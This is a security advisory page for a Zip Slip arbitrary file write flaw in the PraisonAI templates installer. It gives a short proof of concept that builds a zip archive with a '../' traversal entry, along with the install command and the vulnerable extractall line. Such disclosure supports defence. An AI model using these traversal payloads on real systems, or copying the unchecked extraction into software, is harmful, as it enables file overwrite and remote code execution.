High

PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction

  • Disclosed: 06.04.2026
  • Updated: 11.10.2026 14:17

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)

Vulnerable Code snippet:

python
zip_ref.extractall(tmpdir)

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

  1. Generate a malicious zip payload:
python
import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    # Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')
  1. Trick a user into installing the malicious template:
bash
praisonai templates install github:attacker/malicious_template
  1. Observe the zip_slip_pwned.txt file created in /tmp/ on the victim's machine.

Impact

This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.5.113 4.5.113

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Weakness (CWE)
CWE-22, CWE-23
Platform
Python (PyPI)
Package
praisonai
Disclosed
06.04.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2899 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-4ph2-f6pf-79wv - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction this entry
    High · 8.1 CVE-2026-39307 < 4.5.113 4.5.113
  2. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  3. High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  8. High · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  9. High · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  10. High CVE-2026-47397 < 4.6.40 4.6.40
  11. Critical · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  12. Critical · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  13. High · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  14. Critical · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  15. Critical · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  16. High · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  17. Critical CVE-2026-35615 < 1.5.113 1.5.113
Show more (6) Showing 81 of 87

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.